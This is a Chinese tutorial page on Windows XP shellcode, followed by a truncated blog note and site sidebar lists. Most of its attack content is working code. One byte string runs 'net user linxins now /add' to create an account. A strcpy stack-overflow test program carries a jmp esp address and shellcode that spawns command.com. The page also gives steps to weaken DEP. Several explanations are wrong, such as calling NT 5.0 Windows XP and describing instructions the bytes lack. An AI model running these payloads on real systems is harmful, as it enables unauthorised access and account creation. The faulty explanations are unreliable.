### Shellcode简单例子解析 #### 一、Shellcode概述 Shellcode是一种小段的机器码,主要用于实现特定功能,如创建一个系统级别的shell或者执行某些特定操作等。它经常被用在安全研究领域,尤其是缓冲区溢出攻击中。本文将通过对给定的例子进行分析,帮助读者更好地理解shellcode的基本概念及其工作原理。 #### 二、Shellcode实例详解 给定的shellcode代码主要分为两部分:一是用于学习和测试的shellcode字符串,二是利用这段shellcode进行测试的C语言程序。 ##### (一)Shellcode字符串 ```c unsigned char ShellCode[] = "\x55\x83\xEC\x40\x8B\xEC\x55\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x89\x45\x40\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x54\x57\xFF\x55\x40\x89\x45\x08\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF\x55\x40\x89\x45\x12\x6A\x00\x68\x2F\x61\x64\x64\x68\x6E\x6F\x77\x20\x68\x78\x69\x6E\x73\x68\x20\x6C\x69\x6E\x68\x75\x73\x65\x72\x68\x6E\x65\x74\x20\x54\xFF\x55\x08\x6A\x00\xFF\x55\x12"; ``` 这段shellcode的主要功能是在Windows NT 5.0 (即Windows XP)系统上创建一个命令行界面,并执行特定的命令。具体来说,该shellcode的执行流程包括: 1. **设置堆栈框架**: - `\x55`:调用`push ebp`指令,保存旧的基地址寄存器(EBP)的值。 - `\x83\xEC\x40`:通过`sub esp, 40`指令减少栈指针ESP的值,为局部变量分配空间。 2. **加载和移动数据**: - 使用一系列的`mov`和`lea`指令来加载和移动内存中的数据到寄存器中。 3. **准备参数并调用函数**: - 使用`push`指令将参数压入栈中。 - 使用`call`指令调用函数。 4. **清理堆栈并返回**: - 使用`add esp, 值`指令恢复栈指针。 - 使用`pop ebp`指令恢复基地址寄存器。 - 使用`ret`指令返回调用者。 ##### (二)C语言测试程序 接下来是用于测试上述shellcode的C语言程序: ```c #include <stdio.h> #include <string.h> #include <windows.h> char shellcode[] = "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x12\x45\xFA\x7F" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54" "\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C" "\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC" "\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45" "\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45" "\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0"; int main() { char overflow[8]; strcpy(overflow, shellcode); return 0; } ``` 这个简单的C程序的主要目的是将shellcode字符串复制到一个字符数组`overflow`中。这里需要注意的是,这个程序本身并没有直接执行shellcode,而是将其作为数据复制到了`overflow`数组中。实际应用中,如果想要执行这段shellcode,还需要通过其他方式(例如`CreateThread`函数)来执行它。 #### 三、缓冲区溢出与Shellcode的关系 缓冲区溢出是一种常见的安全漏洞,通过向应用程序分配的缓冲区中写入超出其容量的数据,导致程序崩溃或执行恶意代码。在本例中,shellcode是通过缓冲区溢出攻击来执行的。具体的执行步骤可能包括: 1. **找到目标程序的漏洞**:首先需要识别出存在缓冲区溢出漏洞的目标程序。 2. **构造溢出数据**:构造一段包含shellcode的数据,并填充到足够的长度以覆盖返回地址。 3. **触发漏洞**:通过某种方式触发漏洞,使得程序跳转到shellcode所在的地址。 4. **执行shellcode**:shellcode被加载到内存中并被执行。 #### 四、绕过DEP保护机制 为了确保shellcode能够成功执行,有时需要绕过操作系统提供的数据执行保护(DEP)机制。文中提到的Windows XP SP2默认启用了DEP,但是可以通过修改系统配置文件`C:\boot.ini`来禁用这一特性。具体操作方法如下: 1. **编辑boot.ini文件**:打开`C:\boot.ini`文件,找到启动配置项,并添加`/noexecute=optout`选项。 2. **重新启动计算机**:保存文件后重启计算机使更改生效。 #### 五、总结 通过以上分析,我们可以看到shellcode在安全领域的应用及其工作原理。对于学习安全开发和防御缓冲区溢出攻击的人来说,了解shellcode的基本构造和执行流程是非常重要的。同时,正确地理解和实施防护措施也是避免此类攻击的关键。
缓冲区溢出学习笔记 二
由于一直不知道xpsp2下 jmp esp的地址,找了好久才在看雪学院的一个帖子上看到一个例子。
测试了一下,由于vc6.0启用数据执行保护,我也不清楚我溢出利用是否成功。
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xFA\x7F"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
- 粉丝: 0
- 资源: 2
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 技术资料分享STM32F101xCDE-DS-CH-V5很好的技术资料.zip
- 技术资料分享STM32F101x46-DS-CH-V2很好的技术资料.zip
- 技术资料分享STM32F101x8B-DS-CH-V11很好的技术资料.zip
- 技术资料分享STM32F10xxx闪存编程参考手册很好的技术资料.zip
- 技术资料分享STM32F10xxCDE-Errata-CH-V5很好的技术资料.zip
- 技术资料分享STM32F10xx46-Errata-CH-V2很好的技术资料.zip
- 技术资料分享STM32F10xx8B-Errata-CH-V6很好的技术资料.zip
- 技术资料分享STM32F2技术培训-灵活的静态存储控制器-FSMC很好的技术资料.zip
- 技术资料分享stm32-FSMC机制很好的技术资料.zip
- 技术资料分享STM32 V3.4固件库使用方法实例修订版很好的技术资料.zip